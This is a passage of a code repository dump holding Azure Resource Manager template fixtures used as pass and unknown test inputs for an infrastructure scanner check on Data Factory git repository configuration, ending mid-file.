\"dependsOn\": [\n        \"[resourceId('Microsoft.DataFactory/factories', parameters('azureDataFactoryName'))]\"\n      ]\n    },\n    {\n      \"type\": \"Microsoft.Databricks/workspaces\",\n      \"apiVersion\": \"2018-04-01\",\n      \"name\": \"[parameters('azureDatabricksName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"premium\"\n      },\n      \"properties\": {\n        \"managedResourceGroupId\": \"[subscriptionResourceId('Microsoft.Resources/resourceGroups', format('databricks-rg-{0}-{1}', parameters('azureDatabricksName'), uniqueString(parameters('azureDatabricksName'), resourceGroup().id)))]\",\n        \"parameters\": {\n          \"enableNoPublicIp\": {\n            \"value\": \"[parameters('databricksNPIP')]\"\n          }\n        }\n      }\n    },\n    {\n      \"condition\": \"[parameters('deployAzureKeyVault')]\",\n      \"type\": \"Microsoft.KeyVault/vaults\",\n      \"apiVersion\": \"2022-07-01\",\n      \"name\": \"[parameters('azureKeyVaultName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"enableRbacAuthorization\": true,\n        \"tenantId\": \"[subscription().tenantId]\",\n        \"sku\": {\n          \"name\": \"standard\",\n          \"family\": \"A\"\n        },\n        \"networkAcls\": {\n          \"defaultAction\": \"Allow\",\n          \"bypass\": \"AzureServices\"\n        }\n      }\n    },\n    {\n      \"condition\": \"[parameters('deployAzureKeyVault')]\",\n      \"type\": \"Microsoft.Authorization/roleAssignments\",\n      \"apiVersion\": \"2022-04-01\",\n      \"scope\": \"[format('Microsoft.KeyVault/vaults/{0}', parameters('azureKeyVaultName'))]\",\n      \"name\": \"[guid(variables('akvRoleIdMapping')[variables('akvRoleName')], parameters('azureADObjectID'), resourceId('Microsoft.KeyVault/vaults', parameters('azureKeyVaultName')))]\",\n      \"properties\": {\n        \"roleDefinitionId\": \"[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', variables('akvRoleIdMapping')[variables('akvRoleName')])]\",\n        \"principalId\": \"[parameters('azureADObjectID')]\"\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.KeyVault/vaults', parameters('azureKeyVaultName'))]\"\n      ]\n    },\n    {\n      \"condition\": \"[parameters('deployAzureKeyVault')]\",\n      \"type\": \"Microsoft.Authorization/roleAssignments\",\n      \"apiVersion\": \"2022-04-01\",\n      \"scope\": \"[format('Microsoft.KeyVault/vaults/{0}', parameters('azureKeyVaultName'))]\",\n      \"name\": \"[guid(variables('akvRoleIdMapping')[variables('akvRoleName')], resourceId('Microsoft.DataFactory/factories', parameters('azureDataFactoryName')), resourceId('Microsoft.KeyVault/vaults', parameters('azureKeyVaultName')))]\",\n      \"properties\": {\n        \"roleDefinitionId\": \"[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', variables('akvRoleIdMapping')[variables('akvRoleName')])]\",\n        \"principalId\": \"[reference(resourceId('Microsoft.DataFactory/factories', parameters('azureDataFactoryName')), '2018-06-01', 'full').identity.principalId]\",\n        \"principalType\": \"ServicePrincipal\"\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.KeyVault/vaults', parameters('azureKeyVaultName'))]\",\n        \"[resourceId('Microsoft.DataFactory/factories', parameters('azureDataFactoryName'))]\"\n      ]\n    },\n    {\n      \"condition\": \"[parameters('deployAzureKeyVault')]\",\n      \"type\": \"Microsoft.DataFactory/factories/linkedservices\",\n      \"apiVersion\": \"2018-06-01\",\n      \"name\": \"[format('{0}/{1}', parameters('azureDataFactoryName'), format('{0}-linkedService', parameters('azureKeyVaultName')))]\",\n      \"properties\": {\n        \"type\": \"AzureKeyVault\",\n        \"typeProperties\": {\n          \"baseUrl\": \"[reference(resourceId('Microsoft.KeyVault/vaults', parameters('azureKeyVaultName')), '2022-07-01').vaultUri]\"\n        }\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.KeyVault/vaults', parameters('azureKeyVaultName'))]\",\n        \"[resourceId('Microsoft.DataFactory/factories', parameters('azureDataFactoryName'))]\"\n      ]\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_DataFactoryUsesGitRepository/pass.json",
    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"subscription\": {\n            \"defaultValue\": \"\",\n            \"type\": \"string\"\n        },\n        \"resourceGroup\": {\n            \"defaultValue\": \"\",\n            \"type\": \"string\"\n        },\n        \"name\": {\n            \"defaultValue\": \"myv2datafactory\",\n            \"type\": \"string\"\n        },\n        \"version\": {\n            \"defaultValue\": \"V2\",\n            \"type\": \"string\"\n        },\n        \"location\": {\n            \"defaultValue\": \"eastus\",\n            \"type\": \"string\"\n        },\n        \"tagsByResource\": {\n            \"type\": \"Object\"\n        },\n        \"vNetEnabled\": {\n            \"defaultValue\": false,\n            \"type\": \"bool\"\n        },\n        \"publicNetworkAccess\": {\n            \"defaultValue\": true,\n            \"type\": \"bool\"\n        },\n        \"privateEndpoints\": {\n            \"type\": \"array\",\n            \"metadata\": {\n                \"description\": \"Private endpoints. Empty if no private network access selected.\"\n            }\n        },\n        \"gitConfigureLater\": {\n            \"defaultValue\": true,\n            \"type\": \"bool\"\n        },\n        \"gitRepoType\": {\n            \"defaultValue\": \"FactoryVSTSConfiguration\",\n            \"type\": \"string\"\n        },\n        \"gitAccountName\": {\n            \"defaultValue\": \"\",\n            \"type\": \"string\"\n        },\n        \"gitProjectName\": {\n            \"defaultValue\": \"\",\n            \"type\": \"string\"\n        },\n        \"gitRepositoryName\": {\n            \"defaultValue\": \"\",\n            \"type\": \"string\"\n        },\n        \"gitCollaborationBranch\": {\n            \"defaultValue\": \"master\",\n            \"type\": \"string\"\n        },\n        \"gitRootFolder\": {\n            \"defaultValue\": \"/\",\n            \"type\": \"string\"\n        },\n        \"userAssignedIdentities\": {\n            \"defaultValue\": {\n                \"type\": \"SystemAssigned\"\n            },\n            \"type\": \"object\"\n        },\n        \"userAssignedIdentitiesStr\": {\n            \"defaultValue\": \"\",\n            \"type\": \"string\"\n        },\n        \"vaultBaseUrl\": {\n            \"defaultValue\": \"\",\n            \"type\": \"string\"\n        },\n        \"keyName\": {\n            \"defaultValue\": \"\",\n            \"type\": \"string\"\n        },\n        \"keyVersion\": {\n            \"defaultValue\": \"\",\n            \"type\": \"string\"\n        },\n        \"enableCMK\": {\n            \"defaultValue\": false,\n            \"type\": \"bool\"\n        },\n        \"cmkIdentity\": {\n            \"defaultValue\": \"\",\n            \"type\": \"string\"\n        }\n    },\n    \"variables\": {\n        \"hasPE\": \"[greater(length(parameters('privateEndpoints')), 0)]\",\n        \"resourceGroupId\": \"[if(variables('hasPE'),parameters('privateEndpoints')[0].privateEndpointConfiguration.resourceGroup.value.name, '')]\",\n        \"subNetId\": \"[if(variables('hasPE'),parameters('privateEndpoints')[0].privateEndpointConfiguration.privateEndpoint.properties.subnet.id, '')]\",\n        \"subNetSub\": \"[if(variables('hasPE'),split(variables('subNetId'),'/')[2],'')]\",\n        \"subNetRg\": \"[if(variables('hasPE'),split(variables('subNetId'),'/')[4],'')]\",\n        \"subNetName\": \"[if(variables('hasPE'),split(variables('subNetId'),'/')[8],'')]\",\n        \"integrateDns\": \"[if(variables('hasPE'),parameters('privateEndpoints')[0].privateDnsZoneConfiguration.integrateWithPrivateDnsZone, 'true')]\"\n    },\n    \"resources\": [\n        {\n            \"condition\": \"[equals(parameters('version'), 'V2')]\",\n            \"type\": \"Microsoft.DataFactory/factories\",\n            \"apiVersion\": \"2018-06-01\",\n            \"name\": \"pass\",\n            \"location\": \"[parameters('location')]\",\n            \"identity\": \"[if(parameters('enableCMK'),json(parameters('userAssignedIdentitiesStr')), parameters('userAssignedIdentities'))]\",\n            \"properties\": {\n                \"repoConfiguration\": {\n                    \"accountName\": \"string\",\n                    \"collaborationBranch\": \"string\",\n                    \"disablePublish\": \"bool\",\n                    \"lastCommitId\": \"string\",\n                    \"repositoryName\": \"string\",\n                    \"rootFolder\": \"string\",\n                    \"type\": \"[parameters('gitRepoType')]\"\n                },\n                \"publicNetworkAccess\": \"[if(bool(parameters('publicNetworkAccess')), 'Enabled', 'Disabled')]\",\n                \"encryption\": \"[if(parameters('enableCMK'), json(concat('{\\\"identity\\\":{\\\"userAssignedIdentity\\\":\\\"', parameters('cmkIdentity'), '\\\"},','\\\"VaultBaseUrl\\\": \\\"', parameters('vaultBaseUrl'), '\\\",','\\\"KeyName\\\": \\\"', parameters('keyName'), '\\\",','\\\"KeyVersion\\\": \\\"', parameters('keyVersion'), '\\\"}')), json('null'))]\"\n            },\n            \"tags\": \"[ if(contains(parameters('tagsByResource'), 'Microsoft.DataFactory/factories'), parameters('tagsByResource')['Microsoft.DataFactory/factories'], json('{}')) ]\",\n            \"resources\": [\n                {\n                    \"condition\": \"[and(equals(parameters('version'), 'V2'), parameters('vNetEnabled'))]\",\n                    \"name\": \"[concat(parameters('name'), '/default')]\",\n                    \"type\": \"Microsoft.DataFactory/factories/managedVirtualNetworks\",\n                    \"apiVersion\": \"2018-06-01\",\n                    \"properties\": {},\n                    \"dependsOn\": [\n                        \"[concat('Microsoft.DataFactory/factories/', parameters('name'))]\"\n                    ]\n                },\n                {\n                    \"condition\": \"[and(equals(parameters('version'), 'V2'), parameters('vNetEnabled'))]\",\n                    \"name\": \"[concat(parameters('name'), '/AutoResolveIntegrationRuntime')]\",\n                    \"type\": \"Microsoft.DataFactory/factories/integrationRuntimes\",\n                    \"apiVersion\": \"2018-06-01\",\n                    \"properties\": {\n                        \"type\": \"Managed\",\n                        \"managedVirtualNetwork\": {\n                            \"referenceName\": \"default\",\n                            \"type\": \"ManagedVirtualNetworkReference\"\n                        },\n                        \"typeProperties\": {\n                            \"computeProperties\": {\n                                \"location\": \"AutoResolve\",\n                                \"dataFlowProperties\": {\n                                    \"computeType\": \"General\",\n                                    \"coreCount\": 8,\n                                    \"timeToLive\": 0\n                                }\n                            }\n                        }\n                    },\n                    \"dependsOn\": [\n                        \"[concat('Microsoft.DataFactory/factories/', parameters('name'))]\",\n                        \"[concat('Microsoft.DataFactory/factories/', parameters('name'), '/managedVirtualNetworks/default')]\"\n                    ]\n                }\n            ]\n        },\n        {\n            \"condition\": \"[and(not(parameters('publicNetworkAccess')), equals(parameters('privateEndpoints')[0].privateEndpointConfiguration.resourceGroup.mode, 1))]\",\n            \"apiVersion\": \"2018-05-01\",\n            \"name\": \"[concat('deployResourceGroup-', parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.resourceGroup.value.name)]\",\n            \"type\": \"Microsoft.Resources/deployments\",\n            \"subscriptionId\": \"[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.subscription.subscriptionId]\",\n            \"location\": \"[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.privateEndpoint.location]\",\n            \"dependsOn\": [\n                \"[parameters('name')]\"\n            ],\n            \"copy\": {\n                \"name\": \"privateendpointscopy\",\n                \"count\": \"[length(parameters('privateEndpoints'))]\"\n            },\n            \"properties\": {\n                \"mode\": \"Incremental\",\n                \"template\": {\n                    \"$schema\": \"https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n                    \"contentVersion\": \"1.0.0.0\",\n                    \"resources\": [\n                        {\n                            \"type\": \"Microsoft.Resources/resourceGroups\",\n                            \"apiVersion\": \"2021-04-01\",\n                            \"name\": \"[variables('resourceGroupId')]\",\n                            \"location\": \"[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.privateEndpoint.location]\",\n                            \"properties\": {}\n                        }\n                    ]\n                }\n            }\n        },\n        {\n            \"condition\": \"[not(parameters('publicNetworkAccess'))]\",\n            \"apiVersion\": \"2017-05-10\",\n            \"name\": \"[concat('deployPrivateEndpoint-', parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.privateEndpoint.name)]\",\n            \"type\": \"Microsoft.Resources/deployments\",\n            \"resourceGroup\": \"[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.resourceGroup.value.name]\",\n            \"subscriptionId\": \"[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.subscription.subscriptionId]\",\n            \"dependsOn\": [\n                \"[parameters('name')]\",\n                \"[concat('deployResourceGroup-', parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.resourceGroup.value.name)]\"\n            ],\n            \"copy\": {\n                \"name\": \"privateendpointscopy\",\n                \"count\": \"[length(parameters('privateEndpoints'))]\"\n            },\n            \"properties\": {\n                \"mode\": \"Incremental\",\n                \"template\": {\n                    \"$schema\": \"https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n                    \"contentVersion\": \"1.0.0.0\",\n                    \"resources\": [\n                        {\n                            \"location\": \"[parameters('location')]\",\n                            \"name\": \"[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.privateEndpoint.name]\",\n                            \"type\": \"Microsoft.Network/privateEndpoints\",\n                            \"apiVersion\": \"2020-03-01\",\n                            \"properties\": {\n                                \"subnet\": {\n                                    \"id\": \"[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.privateEndpoint.properties.subnet.id]\"\n                                },\n                                \"privateLinkServiceConnections\": [\n                                    {\n                                        \"name\": \"[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.privateEndpoint.name]\",\n                                        \"properties\": {\n                                            \"privateLinkServiceId\": \"[concat('/subscriptions/',parameters('subscription'),'/resourcegroups/',parameters('resourceGroup'), '/providers/Microsoft.DataFactory/factories/', parameters('name'))]\",\n                                            \"groupIds\": \"[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.privateEndpoint.properties.privateLinkServiceConnections[0].properties.groupIds]\"\n                                        }\n                                    }\n                                ]\n                            },\n                            \"tags\": {}\n                        }\n                    ]\n                }\n            }\n        },\n        {\n            \"apiVersion\": \"2017-05-10\",\n            \"name\": \"[concat('deployPrivateDnsZone-', parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.privateEndpoint.name)]\",\n            \"type\": \"Microsoft.Resources/deployments\",\n            \"resourceGroup\": \"[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.resourceGroup.value.name]\",\n            \"subscriptionId\": \"[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.subscription.subscriptionId]\",\n            \"dependsOn\": [\n                \"[concat('Microsoft.Resources/deployments/', concat('deployPrivateEndpoint-', parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.privateEndpoint.name))]\"\n            ],\n            \"condition\": \"[and(not(parameters('publicNetworkAccess')), variables('integrateDns'))]\",\n            \"copy\": {\n                \"name\": \"privateendpointdnscopy\",\n                \"count\": \"[length(parameters('privateEndpoints'))]\"\n            },\n            \"properties\": {\n                \"mode\": \"Incremental\",\n                \"template\": {\n                    \"$schema\": \"https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n                    \"contentVersion\": \"1.0.0.0\",\n                    \"resources\": [\n                        {\n                            \"type\": \"Microsoft.Network/privateDnsZones\",\n                            \"apiVersion\": \"2018-09-01\",\n                            \"name\": \"[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.subResource.expectedPrivateDnsZoneName]\",\n                            \"location\": \"global\",\n                            \"tags\": {},\n                            \"properties\": {}\n                        },\n                        {\n                            \"type\": \"Microsoft.Network/privateDnsZones/virtualNetworkLinks\",\n                            \"apiVersion\": \"2018-09-01\",\n                            \"name\": \"[concat(string(parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.subResource.expectedPrivateDnsZoneName), '/', uniquestring(variables('subNetId')))]\",\n                            \"location\": \"global\",\n                            \"dependsOn\": [\n                                \"[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.subResource.expectedPrivateDnsZoneName]\"\n                            ],\n                            \"properties\": {\n                                \"virtualNetwork\": {\n                                    \"id\": \"[concat('/subscriptions/',variables('subNetSub'),'/resourceGroups/',variables('subNetRg'),'/providers/Microsoft.Network/virtualNetworks/',variables('subNetName'))]\"\n                                },\n                                \"registrationEnabled\": false\n                            }\n                        },\n                        {\n                            \"type\": \"Microsoft.Network/privateEndpoints/privateDnsZoneGroups\",\n                            \"apiVersion\": \"2020-03-01\",\n                            \"name\": \"[concat(parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.privateEndpoint.name, '/', 'default')]\",\n                            \"location\": \"[parameters('location')]\",\n                            \"dependsOn\": [\n                                \"[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.subResource.expectedPrivateDnsZoneName]\"\n                            ],\n                            \"properties\": {\n                                \"privateDnsZoneConfigs\": [\n                                    {\n                                        \"name\": \"[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.subResource.expectedPrivateDnsZoneName]\",\n                                        \"properties\": {\n                                            \"privateDnsZoneId\": \"[concat('/subscriptions/',variables('subNetSub'),'/resourcegroups/',variables('subNetRg'), '/providers/Microsoft.Network/privateDnsZones/', parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.subResource.expectedPrivateDnsZoneName )]\"\n                                        }\n                                    }\n                                ]\n                            }\n                        }\n                    ]\n                }\n            }\n        }\n    ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_DataFactoryUsesGitRepository/unknown.json",
    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"subscription\": {\n            \"defaultValue\": \"\",\n            \"type\": \"string\"\n        },\n        \"resourceGroup\": {\n            \"defaultValue\": \"\",\n            \"type\": \"string\"\n        },\n        \"name\": {\n            \"defaultValue\": \"myv2datafactory\",\n            \"type\": \"string\"\n        },\n        \"version\": {\n            \"defaultValue\": \"V2\",\n            \"type\": \"string\"\n        },\n        \"location\": {\n            \"defaultValue\": \"eastus\",\n            \"type\": \"string\"\n        },\n        \"tagsByResource\": {\n            \"type\": \"Object\"\n        },\n        \"vNetEnabled\": {\n            \"defaultValue\": false,\n            \"type\": \"bool\"\n        },\n        \"publicNetworkAccess\": {\n            \"defaultValue\": true,\n            \"type\": \"bool\"\n        },\n        \"privateEndpoints\": {\n            \"type\": \"array\",\n            \"metadata\": {\n                \"description\": \"Private endpoints. Empty if no private network access selected.\"\n            }\n        },\n        \"gitConfigureLater\": {\n            \"defaultValue\": true,\n            \"type\": \"bool\"\n        },\n        \"gitRepoType\": {\n            \"defaultValue\": \"FactoryVSTSConfiguration\",\n            \"type\": \"string\"\n        },\n        \"gitAccountName\": {\n            \"defaultValue\": \"\",\n            \"type\": \"string\"\n        },\n        \"gitProjectName\": {\n            \"defaultValue\": \"\",\n            \"type\": \"string\"\n        },\n        \"gitRepositoryName\": {\n            \"defaultValue\": \"\",\n            \"type\": \"string\"\n        },\n        \"gitCollaborationBranch\": {\n            \"defaultValue\": \"master\",\n            \"type\": \"string\"\n        },\n        \"gitRootFolder\": {\n            \"defaultValue\": \"/\",\n            \"type\": \"string\"\n        },\n        \"userAssignedIdentities\": {\n            \"defaultValue\": {\n                \"type\": \"SystemAssigned\"\n            },\n            \"type\": \"object\"\n        },\n        \"userAssignedIdentitiesStr\": {\n            \"defaultValue\": \"\",\n            \"type\": \"string\"\n        },\n        \"vaultBaseUrl\": {\n            \"defaultValue\": \"\",\n            \"type\": \"string\"\n        },\n        \"keyName\": {\n            \"defaultValue\": \"\",\n            \"type\": \"string\"\n        },\n        \"keyVersion\": {\n            \"defaultValue\": \"\",\n            \"type\": \"string\"\n        },\n        \"enableCMK\": {\n            \"defaultValue\": false,\n            \"type\": \"bool\"\n        },\n        \"cmkIdentity\": {\n            \"defaultValue\": \"\",\n            \"type\": \"string\"\n        }\n    },\n    \"variables\": {\n        \"hasPE\": \"[greater(length(parameters('privateEndpoints')), 0)]\",\n        \"resourceGroupId\": \"[if(variables('hasPE'),parameters('privateEndpoints')[0].privateEndpointConfiguration.resourceGroup.value.name, '')]\",\n        \"subNetId\": \"[if(variables('hasPE'),parameters('privateEndpoints')[0].privateEndpointConfiguration.privateEndpoint.properties.subnet.id, '')]\",\n        \"subNetSub\": \"[if(variables('hasPE'),split(variables('subNetId'),'/')[2],'')]\",\n        \"subNetRg\": \"[if(variables('hasPE'),split(variables('subNetId'),'/')[4],'')]\",\n        \"subNetName\": \"[if(variables('hasPE'),split(variables('subNetId'),'/')[8],'')]\",\n        \"integrateDns\": \"[if(variables('hasPE'),parameters('privateEndpoints')[0].privateDnsZoneConfiguration.integrateWithPrivateDnsZone, 'true')]\"\n    },\n    \"resources\": [\n        {\n            \"condition\": \"[equals(parameters('version'), 'V2')]\",\n            \"type\": \"Microsoft.DataFactory/factories\",\n            \"apiVersion\": \"2018-06-01\",\n            \"name\": \"[parameters('name')]\",\n            \"location\": \"[parameters('location')]\",\n            \"identity\": \"[if(parameters('enableCMK'),json(parameters('userAssignedIdentitiesStr')), parameters('userAssignedIdentities'))]\",\n            \"properties\": {\n                \"repoConfiguration\": \"[if(bool(parameters('gitConfigureLater')), json('null'), json(concat('{\\\"type\\\": \\\"', parameters('gitRepoType'), '\\\",','\\\"accountName\\\": \\\"', parameters('gitAccountName'), '\\\",','\\\"repositoryName\\\": \\\"', parameters('gitRepositoryName'), '\\\",', if(equals(parameters('gitRepoType'), 'FactoryVSTSConfiguration'), concat('\\\"projectName\\\": \\\"', parameters('gitProjectName'), '\\\",'), ''),'\\\"collaborationBranch\\\": \\\"', parameters('gitCollaborationBranch'), '\\\",','\\\"rootFolder\\\": \\\"', parameters('gitRootFolder'), '\\\"}')))]\",\n                \"publicNetworkAccess\": \"[if(bool(parameters('publicNetworkAccess')), 'Enabled', 'Disabled')]\",\n                \"encryption\": \"[if(parameters('enableCMK'), json(concat('{\\\"identity\\\":{\\\"userAssignedIdentity\\\":\\\"', parameters('cmkIdentity'), '\\\"},','\\\"VaultBaseUrl\\\": \\\"', parameters('vaultBaseUrl'), '\\\",','\\\"KeyName\\\": \\\"', parameters('keyName'), '\\\",','\\\"KeyVersion\\\": \\\"', parameters('keyVersion'), '\\\"}')), json('null'))]\"\n            },\n            \"tags\": \"[ if(contains(parameters('tagsByResource'), 'Microsoft.DataFactory/factories'), parameters('tagsByResource')['Microsoft.DataFactory/factories'], json('{}')) ]\",\n            \"resources\": [\n                {\n                    \"condition\": \"[and(equals(parameters('version'), 'V2'), parameters('vNetEnabled'))]\",\n                    \"name\": \"[concat(parameters('name'), '/default')]\",\n                    \"type\": \"Microsoft.DataFactory/factories/managedVirtualNetworks\",\n                    \"apiVersion\": \"2018-06-01\",\n                    \"properties\": {},\n                    \"dependsOn\": [\n                        \"[concat('Microsoft.DataFactory/factories/', parameters('name'))]\"\n                    ]\n                },\n                {\n                    \"condition\": \"[and(equals(parameters('version'), 'V2'), parameters('vNetEnabled'))]\",\n                    \"name\": \"[concat(parameters('name'), '/AutoResolveIntegrationRuntime')]\",\n                    \"type\": \"Microsoft.DataFactory/factories/integrationRuntimes\",\n                    \"apiVersion\": \"2018-06-01\",\n                    \"properties\": {\n                        \"type\": \"Managed\",\n                        \"managedVirtualNetwork\": {\n                            \"referenceName\": \"default\",\n                            \"type\": \"ManagedVirtualNetworkReference\"\n                        },\n                        \"typeProperties\": {\n                            \"computeProperties\": {\n                                \"location\": \"AutoResolve\",\n                                \"dataFlowProperties\": {\n                                    \"computeType\": \"General\",\n                                    \"coreCount\": 8,\n                                    \"timeToLive\": 0\n                                }\n                            }\n                        }\n                    },\n                    \"dependsOn\": [\n                        \"[concat('Microsoft.DataFactory/factories/', parameters('name'))]\",\n                        \"[concat('Microsoft.DataFactory/factories/', parameters('name'), '/managedVirtualNetworks/default')]\"\n                    ]\n                }\n            ]\n        },\n        {\n            \"condition\": \"[and(not(parameters('publicNetworkAccess')), equals(parameters('privateEndpoints')[0].privateEndpointConfiguration.resourceGroup.mode, 1))]\",\n            \"apiVersion\": \"2018-05-01\",\n            \"name\": \"[concat('deployResourceGroup-', parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.resourceGroup.value.name)]\",\n            \"type\": \"Microsoft.Resources/deployments\",\n            \"subscriptionId\": \"[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.subscription.subscriptionId]\",\n            \"location\": \"[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.privateEndpoint.location]\",\n            \"dependsOn\": [\n                \"[parameters('name')]\"\n            ],\n            \"copy\": {\n                \"name\": \"privateendpointscopy\",\n                \"count\": \"[length(parameters('privateEndpoints'))]\"\n            },\n            \"properties\": {\n                \"mode\": \"Incremental\",\n                \"template\": {\n                    \"$schema\": \"https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n                    \"contentVersion\": \"1.0.0.0\",\n                    \"resources\": [\n                        {\n                            \"type\": \"Microsoft.Resources/resourceGroups\",\n                            \"apiVersion\": \"2021-04-01\",\n                            \"name\": \"[variables('resourceGroupId')]\",\n                            \"location\": \"[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.privateEndpoint.location]\",\n                            \"properties\": {}\n                        }\n                    ]\n                }\n            }\n        },\n        {\n            \"condition\": \"[not(parameters('publicNetworkAccess'))]\",\n            \"apiVersion\": \"2017-05-10\",\n            \"name\": \"[concat('deployPrivateEndpoint-', parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.privateEndpoint.name)]\",\n            \"type\": \"Microsoft.Resources/deployments\",\n            \"resourceGroup\": \"[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.resourceGroup.value.name]\",\n            \"subscriptionId\": \"[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.subscription.subscriptionId]\",\n            \"dependsOn\": [\n                \"[parameters('name')]\",\n                \"[concat('deployResourceGroup-', parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.resourceGroup.value.name)]\"\n            ],\n            \"copy\": {\n                \"name\": \"privateendpointscopy\",\n                \"count\": \"[length(parameters('privateEndpoints'))]\"\n            },\n            \"properties\": {\n                \"mode\": \"Incremental\",\n                \"template\": {\n                    \"$schema\": \"https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n                    \"contentVersion\": \"1.0.0.0\",\n                    \"resources\": [\n                        {\n                            \"location\": \"[parameters('location')]\",\n                            \"name\": \"[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.privateEndpoint.name]\",\n                            \"type\": \"Microsoft.Network/privateEndpoints\",\n                            \"apiVersion\": \"2020-03-01\",\n                            \"properties\": {\n                                \"subnet\": {\n                                    \"id\": \"[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.privateEndpoint.properties.subnet.id]\"\n                                },\n                                \"privateLinkServiceConnections\": [\n                                    {\n                                        \"name\": \"[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.privateEndpoint.name]\",\n                                        \"properties\": {\n                                            \"privateLinkServiceId\": \"[concat('/subscriptions/',parameters('subscription'),'/resourcegroups/',parameters('resourceGroup'), '/providers/Microsoft.DataFactory/factories/', parameters('name'))]\",\n                                            \"groupIds\": \"[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.privateEndpoint.properties.privateLinkServiceConnections[0].properties.groupIds]\"\n                                        }\n                                    }\n                                ]\n                            },\n                            \"tags\": {}\n                        }\n                    ]\n                }\n            }\n        },\n        {\n            \"apiVersion\": \"2017-05-10\",\n            \"name\": \"[concat('deployPrivateDnsZone-', parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.privateEndpoint.name)]\",\n            \"type\": \"Microsoft.Resources/deployments\",\n            \"resourceGroup\": \"[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.resourceGroup.value.name]\",\n            \"subscriptionId\": \"[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.subscription.subscriptionId]\",\n            \"dependsOn\": [\n                \"[concat('Microsoft.Resources/deployments/', concat('deployPrivateEndpoint-', parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.privateEndpoint.name))]\"\n            ],\n            \"condition\": \"[and(not(parameters('publicNetworkAccess')), variables('integrateDns'))]\",\n            \"copy\": {\n                \"name\": \"privateendpointdnscopy\",\n                \"count\": \"[length(parameters('privateEndpoints'))]\"\n            },\n            \"properties\": {\n                \"mode\": \"Incremental\",\n                \"template\": {\n                    \"$schema\": \"https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n                    \"contentVersion\": \"1.0.0.0\",\n                    \"resources\": [\n                        {\n                            \"type\": \"Microsoft.Network/privateDnsZones\",\n                            \"apiVersion\": \"2018-09-01\",\n                            \"name\": \"[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.subResource.expectedPrivateDnsZoneName]\",\n                            \"location\": \"global\",\n                            \"tags\": {},\n                            \"properties\": {}\n                        },\n                        {\n                            \"type\": \"Microsoft.Network/privateDnsZones/virtualNetworkLinks\",\n                            \"apiVersion\": \"2018-09-01\",\n                            \"name\": \"[concat(string(parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.subResource.expectedPrivateDnsZoneName), '/', uniquestring(variables('subNetId')))]\",\n                            \"location\": \"global\",\n                            \"dependsOn\": [\n                                \"[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.subResource.expectedPrivateDnsZoneName]\"\n                            ],\n                            \"properties\": {\n                                \"virtualNetwork\": {\n                                    \"id\": \"[concat('/subscriptions/',variables('subNetSub'),'/resourceGroups/',variables('subNetRg'),'/providers/Microsoft.Network/virtualNetworks/',variables('subNetName'))]\"\n                                },\n                                \"registrationEnabled\": false\n                            }\n                        },\n                        {\n                            \"type\": \"Microsoft.Network/privateEndpoints/privateDnsZoneGroups\",\n                            \"apiVersion\": \"2020-03-01\",\n                            \"name\": 